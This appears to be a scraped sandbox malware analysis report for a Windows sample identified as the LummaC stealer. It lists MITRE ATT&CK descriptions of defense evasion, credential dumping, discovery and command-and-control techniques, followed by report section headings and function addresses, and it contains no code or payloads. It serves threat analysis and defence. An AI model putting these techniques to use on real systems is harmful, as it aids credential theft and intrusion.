Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hiip7UoiAq.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
hiip7UoiAq.exe

Function 00CB61E0 Relevance: 23.4, APIs: 5, Strings: 8, Instructions: 644
memoryCOMMON

Function 00CAB4FC Relevance: 12.8, APIs: 3, Strings: 4, Instructions: 519
COMMON

Function 00CAB4F7 Relevance: 11.0, APIs: 2, Strings: 4, Instructions: 523
COMMON

Function 00CABBF7 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 392
COMMON

Function 00CA10E0 Relevance: 8.0, Strings: 6, Instructions: 536
COMMON

Function 00C8CFF3 Relevance: 7.8, Strings: 6, Instructions: 291
COMMON

Function 00CABFF2 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 335
COMMON

Function 00CB5EA0 Relevance: 5.3, Strings: 4, Instructions: 253
COMMON

Function 00C8DD25 Relevance: 4.8, APIs: 1, Strings: 2, Instructions: 321
COMMON

Function 00CA2E93 Relevance: 2.9, Strings: 2, Instructions: 395
COMMON

Function 00CBCB20 Relevance: 2.6, Strings: 2, Instructions: 141
COMMON